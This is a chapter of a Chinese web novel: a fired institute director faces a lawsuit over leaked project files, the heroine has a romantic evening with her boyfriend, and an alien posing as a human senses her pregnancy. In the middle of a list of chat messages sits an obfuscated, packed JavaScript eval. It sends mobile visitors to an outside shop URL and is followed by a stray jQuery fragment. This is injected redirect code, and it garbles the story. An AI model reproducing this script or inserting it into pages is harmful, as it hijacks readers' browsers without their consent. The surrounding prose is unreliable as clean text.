因着换所长和股东的事,茶水间热闹得跟菜市场似的,有猜新所长是男是女的,有讨论工资会不会涨的,还有人在赌新来的领导会不会比周所长更会画饼。刘雯对阮华蓁挤眼:“你说,新所长该不会是那种一上来就逼大家写周报的变态吧?

    “应该不至于。”阮华蓁想陆珩挑的人,估计没有那么差劲。

    俩人嘀咕着,董事长办公室那边就传来了一阵争吵的声音,而那声音,正是周所长的。

    原来,被以渎职辞退的记录会直接计入周所长的人事档案,这么严重的工作过失,他这辈子想再找个除星耀空间的管理层职位,基本很难了。

    而且公司法务部已经对周所长、王劲和星耀空间提起了民事诉讼,依据《反不正当竞争法》,恶意翘单、泄露公司机密成果文件,法定赔偿上限直接拉到了500万。更狠的是,法务还主张周所长以降薪为由制造恐慌、诱骗团队跳槽,主观恶意极强,可以在此基础上1到5倍加罚。

    这么一算,他和王劲、星耀空间加起来,面对的可是高达2500万的天价罚单。

    这还不算完,法务团队还要求他们刊登公告,消除对清源环境的商誉影响,甚至申请保全、查封他们靠春城项目赚到的全部收益。

    周所长这下是真坐不住了。

    当初他端着项目成果跳槽的时候有多得意,如今被堵在董事长办公室里就有多心虚。但他嘴上还是不肯认输,梗着脖子连声否认自己损害公司利益、鼓动员工离职。他端着的那点底气,无非是觉得公司拿不出铁证。毕竟成果文件外流是经他和王劲的手,至于咖啡厅里拉人跳槽的那些话,他想来想去,也断定没人会录音。

    “你们有什么证据?没有证据就是污蔑!”周所长脸红脖子粗地跟董事长叫嚣,声音恨不得震得文件柜都在抖。

    周所长这次倒是料错了。

    董事长平静地坐在沙发上,从抽屉里抽出一沓文件甩出了桌子上。

    周所长心头突突,过去一看,竟然是他传输春城项目成果文件的记录——IP地址、时间戳、接收邮箱,邮箱内容,一条龙清清楚楚。

    他背后出了一层的冷汗,嗫呶着想说什么,又一时之间思绪纷乱,但是心底却生出一种自己也许是被公司算计了的感觉。

    他想着狡辩的词汇,董事长捋了捋花白的头发,又拿着手机播放了一段录音。

    是他在咖啡厅跟同事谈话时被录下来的,只不过播放给他听的时候经过了变声处理,并且删除了除他之外的对话者的一些呢绒,他没能辨认出是谁录的。

    不过他威逼利诱人跟着他一起去星耀空间的内容很完备。

    他耳朵里充斥着录音的时长和背景音——咖啡机的声音、隔壁桌的聊天声、凳子挪动的声音,他猛地想起那天他叫阮华蓁下楼谈话时,她坐的那个位置靠墙,墙上有装饰绿植,她曾经因为绿植垂下来的缘故挪动过凳子。

    联想到王劲之前提过陆珩在追阮华蓁,再想起星耀空间的林远林总暗示过清源被收购是陆珩的手笔,而且陆珩已经和阮华蓁在一起了,周所长觉得自己串联出了一条完整的逻辑链:阮华蓁搭上了陆珩,并且和陆珩抱怨过自己之前奴役她干活的事,于是陆珩设圈套让他把春城项目成功撬走给了星耀空间,接着陆珩就收购了清源环境,起诉自己和星耀空间,一是为了帮自己的女朋友出气,二则是给星耀空间的林总一个下马威。

    毕竟林总说自己上学时暗恋过阮华蓁。

    只是,这代价凭什么他来付——上限2500万的罚款,再加上他的职业生涯,多么大的锅啊!

    他胸膛起伏,满脸愤怒,推开董事长办公室的门,摔门而出。

    办公区的人纷纷抬头,看着他铁青着脸穿过走廊。他的脚步在阮华蓁工位旁边停了一瞬,然后他扭头,狠狠地瞪了她一眼,带着一种淬了毒的恨意。

    阮华蓁被他瞪得莫名其妙,手里的笔停在半空中。

    她想问“您没事吧”,但周所长已经扭过头,大步走出了公司大门。

    当天晚上回家,阮华蓁把周所长那一眼的恐怖说给陆珩听:“你是没看到,他那眼神恨不得把我生吃了。”

    陆珩正在给她剥橙子,手指修长而稳定,橙皮被削成一条完整的螺旋:“他瞪你?”

    “瞪得我想原地报警。”

    “那下次他再瞪你,你就瞪回去。他眼睛小,瞪不过你。”

    阮华蓁差点被自己的口水呛到:“你这是什么逻辑?”

    “弱肉强食的逻辑。”陆珩把剥好的橙子递给她,微凉指尖擦过她的手背,“他瞪你是因为他怕你,他怕你是因为他知道你背后有人。”

    “背后有谁?”阮华蓁接过橙子,下意识问了一句。

    陆珩看着她,没有直接回答。

    他站起来走到她身后,从背后环住她的腰,下巴搁在她肩膀上,声音低低地贴在耳边:“有我。不过蓁蓁,工作了一天了,好累啊……咱们不要谈工作了。不如——”

    阮华蓁耳朵开始发烫:“不如什么?”

    “不如谈情说爱。”

    他说完就把她拦腰抱了起来,快步走进卧室。阮华蓁踢了两下腿:“还没洗澡呢!”

    “我洗了,我不嫌弃你。”

    “我嫌弃自己!”

    “不许嫌弃自己。”

    阮华蓁张了张嘴一下子没想起来跟他狡辩的话,陆珩已经把她放在了床上,俯身吻了下来,她后面的话变成了含混的呜咽。

    手机在客厅的茶几上亮了好几次,林薇薇的消息一条接一条地弹出来:

    “蓁蓁!!周扒皮竟然真的来星耀空间谈过了!!他拿着清源的项目成果来这里找新工作!!”

    “太过分了吧!用老东家的东西给自己找下家?还要带着整个团队一起走??”

    “我直接跟冯骧说了!!这种人绝对不能要!!”

    “对了,陆珩收购清源,是不是为了你呀?这家伙不错嘛!”

    “对了对了,明天晚上一起吃饭啊!!我最近终于不孕吐了,胃口大开,感觉自己能吃掉一头牛!!”

    消息列表里安静了大约半小时。然后林薇薇又发了一条:

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783074|207075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “???你怎么这么久都不回我??你是不是在跟陆珩做造人计划???”

    一个小时后,阮华蓁终于捡起手机,看到那一连串消息,咬了一下略微红肿的嘴唇,红着脸打了一行字:“约傣味吧,我想吃酸辣的。”

    “这会才回复我!你这个重色轻友的女人!”林薇薇秒回,“不过傣味可以!!我最近就爱吃酸的!”

    阮华蓁正要回一句“你才重色轻友”,林薇薇已经发来了一段语音。

    她点开听了,背景音里传来冯骧温柔的声音:“薇薇,婚礼邀请名单我拟好了,你来看看有没有漏掉的。”然后是林薇薇应了一声,又压低声音对着手机说了一句:“不跟你说了,我要去看婚宴名单了!明天见!”

    阮华蓁听着“婚宴名单”三个字,忽然想起那天在她左眼视野里一闪而过的那个蜷缩的、覆盖着鳞片的轮廓。

    她犹豫了一下,打了一行字:“最近孩子还好吗?有没有不舒服?”

    过了一小会儿,林薇薇才回:“特别好!!吃嘛嘛香,也不做噩梦了!你别操心我啦,操心操心你自己啥时候订婚!!”

    阮华蓁看着那行字,心里微微松了一口气。

    也许真的是她想多了。

    佐斯坐在床边喝水,目光落在床头柜的日历上。那上面上个月的例假日被她用红笔画了一个圈,很明显,这个月的例假已经过了两天。

    祂的嘴角弯了一下,耳尖跳动着,听觉里是一个极微弱的、像种子破土而出的声音,从她的腹部传来。很小很小,是人类宝宝逐渐生长的声音。

    祂的心跳忽然比平时快了半拍。

    祂不确定那种感觉叫什么。

    X星的上将军没有“初为人父”的参照系。

    但祂知道祂的嘴角不自觉地翘了起来,祂里目标越来越近了。

    祂的目光从日历上转到阮华蓁身上,她垂着头看手机的脖颈白皙、纤长,上面有一个浅色的刚才印上去的吻痕。

    佐斯感觉指尖发痒,那种来自血脉的香甜开始在大脑里回味。祂垂在床沿外面的指尖变成了半透明的银蓝色丝线,像柔软的小草一样轻轻摆动,朝着阮华蓁的脖颈的方向伸了伸,极轻地触碰了一下那个吻痕的边缘。

    人类的公司当然没什么意思。

    收购清源自然是为了这个人类雌性,祂会把这部分股份当作订婚礼物送给她,就当作她怀了这个孩子的补偿。

    毕竟在孩子修复祂的精核之后……祂终归是要……

    祂的思绪卡住了。

    像一根线走到一半忽然打了个结。

    那个最终的结果祂突然想不下去了。

    这该死的人类的大脑!还有……这脆弱的人类心脏!

    为什么突然开始不舒服起来?!

    祂的指尖丝线在同一瞬间枯萎般缩了回来。

    佐斯皱着眉,把手缩回被子里,压在自己的胸口。

    那颗复制来的心脏,正在毫无规律地地跳着。祂闭上眼,压下那些不肯安静的精核波动,把触手一根根收回身体里。